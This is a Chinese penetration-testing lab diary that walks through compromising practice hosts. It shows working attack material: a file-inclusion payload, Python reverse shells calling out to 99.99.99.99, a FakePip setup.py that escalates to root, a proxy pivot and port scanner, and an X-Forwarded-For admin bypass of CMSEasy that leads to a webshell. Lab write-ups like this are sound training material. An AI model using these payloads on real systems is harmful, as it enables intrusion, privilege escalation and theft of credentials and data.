LOADING

wait wait wait...

渗透靶场日记 01

复健一套渗透靶场🎯

网络拓扑结构如下:

img

首先扫出来192.168.1.7有服务,源码看到一个疑似接口?lang和敏感信息(user)mamadou

img

不能rce但是可以filter文件包含dirb http://192.168.1.7/?lang=(这里http和https扫出来的东西是不一样的)扫出来index

img

http://192.168.1.7/?lang=php://filter/read/convert.base64-encode/resource=index

base64解开拿到passwdNiamey4Ever227!!!

<?php
$password ="Niamey4Ever227!!!" ;//I have to remember it
if (isset($_GET['lang']))
{
include($_GET['lang'].".php");
}
?>

用nmap扫一下192.168.1.7nmap -sT -Pn 192.168.1.7,除了80端口以外,1113333也有服务

img

尝试利用上面的信息登录,3333端口成功登录

img

发现是一个python2.x的服务,用pty造一个交互shell,达到flag1

img

import pty
pty.spawn("/bin/bash")

img

cat /etc/passwd发现新用户devops

img

跟进去发现flag2.txt无法读取

img

查devops用户下的文件find / -user devops 2>/dev/null

img

/srv/.antivirus.py可读可写,find / -name *antivirus* 2>/dev/null查看发现有对应的service

img

img

是个定时任务,300s启动一次antivirus.py,于是我们改写antivirus.py的内容,等待几分钟就可以了

f=open('/home/devops/flag2.txt','r').read()
open('/tmp/flag2.txt','w').write(f)

img

进一步弹个shell

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("99.99.99.99",1235))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

img

接着尝试能否将devops用户提权rootsudo -l

img

pip命令是NOPASSWD的,可以使用https://github.com/0x00-0x00/FakePip`fakepip`打,伪造`setup.py`

另外如果需要使用别的命令提权可以来这儿找找https://gtfobins.github.io/#

from setuptools import setup
from setuptools.command.install import install
import base64
import os

class CustomInstall(install):
  def run(self):
    install.run(self)
    LHOST = 'localhost'  # change this
    LPORT = 13372
    
    reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
    encoded = base64.b64encode(reverse_shell)
    os.system('echo %s|base64 -d|bash' % encoded)

setup(name='FakePip',
      version='0.0.1',
      description='This will exploit a sudoer able to /usr/bin/pip install *',
      url='https://github.com/0x00-0x00/fakepip',
      author='zc00l',
      author_email='andre.marques@esecurity.com.br',
      license='MIT',
      zip_safe=False,
      cmdclass={'install': CustomInstall})

kali本地存好exp,python启一个http服务python3 -m http.server 8000wget传到shell里

img

改掉localhost->99.99.99.99sudo /usr/bin/pip install . --upgrade --force-reinstall,kali机监听13372端口

img

拿到root权限

接着配置frp代理,wget传到root权限shell中

img

建立代理服务端./frps -c ./frps.ini

img

连接服务端

img

成功连接后设置proxychains配置文件,新增一条socks5记录vim /etc/proxychains.conf

img

找个scan.py开扫proxychains python scan.py 192.168.1.1 192.168.1.10 -t 20(要加proxychains走代理)

!/usr/bin/env python
# -*- encoding: utf-8 -*-
import Queue
import threading
from threading import Thread
import time
import re
import sys
import os
import socket
import optparse
import urllib2
import socks

'''
一般默认常用端口扫描介绍:
3311:3312 kangle主机管理系统
3389 远程登录
4440 rundeck是用java写的开源工具
5672 rabbitMQ
5900 VNC
6082 varnish  参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网
6379 redis 一般无认证,可直接访问
7001 weblogic
8080 tomcat
8089 jboss
8161 activeMQ
8649 ganglia集群系统监控软件
9000 fastcgi服务
9090 IBM服务
9200,9300 elasticsearch  参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞
9999 amg加密版
10050 zabbix
11211  memcache  未授权访问
27017,28017 mongodb  未授权访问   mongodb默认无口令登录
3777 大华监控设备
50000 sap netweaver远程命令执行漏洞
50060 50070 hahoop、apache hasoop
21 默认是ftp端口  主要看是否支持匿名,也可以跑弱口令
22 默认是ssh端口
23 默认是telnet端口
25 默认是smtp服务
53 默认是DNS
123 是NTP
161,162,8161 snmp服务(8161 IBM一款产品所开放的SNMP)
389 ldap团体
443  openssl  、hearthleed
445 永恒之蓝
512,513 rlogin服务或者是exec
873 rsync 主要看是否支持匿名,也可以跑弱口令
1433 mssql数据库
1080 socks代理
1521 oracle
1900 bes默认后台
2049 nfs服务
2601,2604 zebra路由 默认密码zebra
2082,2083 cpanel主机管理系统
3128,3312 squid代理默认端口,如果没设置口令很可能就直接漫游内网了
3306 mysql数据库
4899 R-admin 连接端
4440 rundeck rundeck  参考WooYun: 借用新浪某服务成功漫游新浪内网
8834 nessus
4848 glashfish
'''


def ip2num(ip):
    ip = [int(x) for x in ip.split('.')]
    return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3]
    
def num2ip(num):
    return '%s.%s.%s.%s' % ((num & 0xff000000) >> 24,
                            (num & 0x00ff0000) >> 16,
                            (num & 0x0000ff00) >> 8,
                            num & 0x000000ff)

def bThread():
    global queue
    global SETTHREAD
    print '[Note] Running...\n'
    sav_log('[Note] Running...\n')
    threadl = []
    threadl = [tThread(queue) for x in xrange(0, int(SETTHREAD))]
    for t in threadl:
        t.start()
    for t in threadl:
        t.join()

#输入到结束
def ip_range(start, end):
    return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff]
# http请求获取返回内容
'''
return [0] 文件内容
return [1] 返回服务状态码
return [2] 返回服务器类型
return [3] location
return [4] title
'''
'''port scan'''
def scan_open_port_server():
    global lock
    while True:
        host,port=queue.get()
        ss=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        ss.settimeout(2)
        try:
            ss.connect((host,port))
            lock.acquire()
            sav_log("%s 开放端口 %s   %s" % (host, port,PORT[port]))
            lock.release()
            ss.close()
        except:
            pass
        queue.task_done()

def sav_log(content):
    filename = "log.txt"
    with open(filename,"a") as file:
        file.write(content+"\n")

def sock_reg():
    SOCKS_PROXY_HOST = '127.0.0.1'
    SOCKS_PROXY_PORT = 1234
    default_socket = socket.socket
    socks.set_default_proxy(socks.SOCKS5, SOCKS_PROXY_HOST,SOCKS_PROXY_PORT)
    socket.socket = socks.socksocket

if __name__ == '__main__':
    usage="usage: mul_scan.py  192.168.1.1 192.168.1.254 -t 20"
    parser = optparse.OptionParser(usage=usage)
    parser.add_option("-t", "--threads", dest="NUM",help="Maximum threads, default 20")
    parser.add_option("-b", "--start-ip", dest="startIp",help="start_ip")
    parser.add_option("-e", "--end-ip", dest="endIp",help="end_ip")
    parser.add_option("-x", "--proxy-socks5", dest="soc",help="-x socks5",type ="string")
    (options, args) = parser.parse_args()
    if len(args) < 1:
        parser.print_help()
        sys.exit()
    if options.NUM!=None and int(options.NUM)!=0:
        SETTHREAD=int(options.NUM)
        print "SETTHREAD:"+str(SETTHREAD)+"\n"
    else:
        SETTHREAD=20
    if options.soc!=None and options.soc=="socks5":
        sock_reg() 
        print "socks5"   
    
    #日志格式化
    filename = "log.txt"
    if (os.path.exists("./"+filename)):
        os.remove("./"+filename) 

    
    #接受开始ip和结束ip         
    startIp =str(options.startIp)
    endIp = str(options.endIp)
    startIp=args[0]
    endIp=args[1]
    lock = threading.Lock()
    #程序运行时间
    PORT={445:"Smb",80:"Web",8080:"Web",3311:"kangle主机管理系统",3312:"kangle主机管理系统",3389:"远程登录",4440:"rundeck是用java写的开源工具",5672:"rabbitMQ",5900:"vnc",6082:"varnish",7001:"weblogic",8161:"activeMQ",8649:"ganglia",9000:"fastcgi",9090:"ibm",9200:"elasticsearch",9300:"elasticsearch",9999:"amg",10050:"zabbix",11211:"memcache",27017:"mongodb",28017:"mondodb",3777:"大华监控设备",50000:"sap netweaver",50060:"hadoop",50070:"hadoop",21:"ftp",22:"ssh",23:"telnet",25:"smtp",53:"dns",123:"ntp",161:"snmp",8161:"snmp",162:"snmp",389:"ldap",443:"ssl",512:"rlogin",513:"rlogin",873:"rsync",1433:"mssql",1080:"socks",1521:"oracle",1900:"bes",2049:"nfs",2601:"zebra",2604:"zebra",2082:"cpanle",2083:"cpanle",3128:"squid",3312:"squid",3306:"mysql",4899:"radmin",8834:'nessus',4848:'glashfish'}
    starttime=time.time()
    queue = Queue.Queue()
    iplist = ip_range(startIp, endIp)
    sav_log('端口采用默认扫描请自行进行比对:\nbegin Scan '+str(len(iplist))+" ip...")
    for i in xrange(SETTHREAD):
        st1 = threading.Thread(target=scan_open_port_server)
        st1.setDaemon(True)
        st1.start()
    for host in iplist:
        for port in PORT.keys():
            queue.put((host,port))
    queue.join()
    sav_log('All RUN TIME:'+str(time.time()-starttime))

扫到.6.8开放80端口有服务

img

.6是个CMSEASY服务,还在kaliproxychains firefox

img

img

版本太老了,可用的洞好多,这里用一个越权漏洞

下一份源码,在/lib/admin/admin.php可以看到

if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
    function __construct() {
        if (ADMIN_DIR!=config::get('admin_dir')) {
            config::modify(array('admin_dir'=>ADMIN_DIR));
            front::flash('后台目录更改成功!');
        }
        front::$rewrite=false;
        parent::__construct();
        $servip = gethostbyname($_SERVER['SERVER_NAME']);
        //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
        if($servip==front::ip()&&front::get('ishtml')==1) return;
        $this->check_admin();
    }
    function check_admin() {
        if (cookie::get('login_username')&&cookie::get('login_password')) {
            $user=new user();
            $user=$user->getrow(array('username'=>cookie::get('login_username')));
            $roles = session::get('roles');
            if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) {
                $this->view->user=$user;
                front::$user=$user;
            }else{
                $user=null;
            }
        }
        if (!isset($user)||!is_array($user)) {
            front::redirect(url::create('admin/login'));
        }
    }
}

check_admin这个函数用来验证管理员是否登录

if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();

在这里看到,如果当前ip是$servip,即服务器ip,且ishtml==1就直接return,没有走下面check_admin函数的检查

再跟进看cmseasy获取当前ip的方法

static function ip() {
        if ($_SERVER['HTTP_CLIENT_IP']) {
            $onlineip = $_SERVER['HTTP_CLIENT_IP'];
        }
        elseif ($_SERVER['HTTP_X_FORWARDED_FOR']) {
            $onlineip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        elseif ($_SERVER['REMOTE_ADDR']) {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        else {
            $onlineip = $_SERVER['REMOTE_ADDR'];
        }
        if(config::get('ipcheck_enable')){
            if(!preg_match('/^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$/', $onlineip)){
                exit('来源非法');
            }
        }
        return $onlineip;
    }

elseif ($_SERVER['HTTP_X_FORWARDED_FOR']),于是我们直接伪造HTTP_X_FORWARDED_FOR192.168.1.6

img

payload:

/index.php?admin_dir=admin&site=default&ishtml=1

登进后台

img

源码里有flag

img

实际上现在只是登录了后台,并不是管理员身份,跳到其他页面仍然需要身份验证,但我们仍可以通过上述构造思路绕过,翻一翻发现语言设置页面给了写好的马

case=language&act=edit&table=orders&admin_dir=admin&site=default&ishtml=1

img

然后很抽象,本来写进去的马实际上叫administrator233.php

AntSword设置socks5连上马

img

成功上线

img

img

/config/config.php看到数据库信息'password'=>'Simplexue123'和flag3

img

上线数据库,找到flag4

img

img

最后/etc/flag里面还有flag5

img

.8的服务是个数据库,服务连不上了,看了一眼都是sqlmap可以做的简单web,跟渗透没关系不打了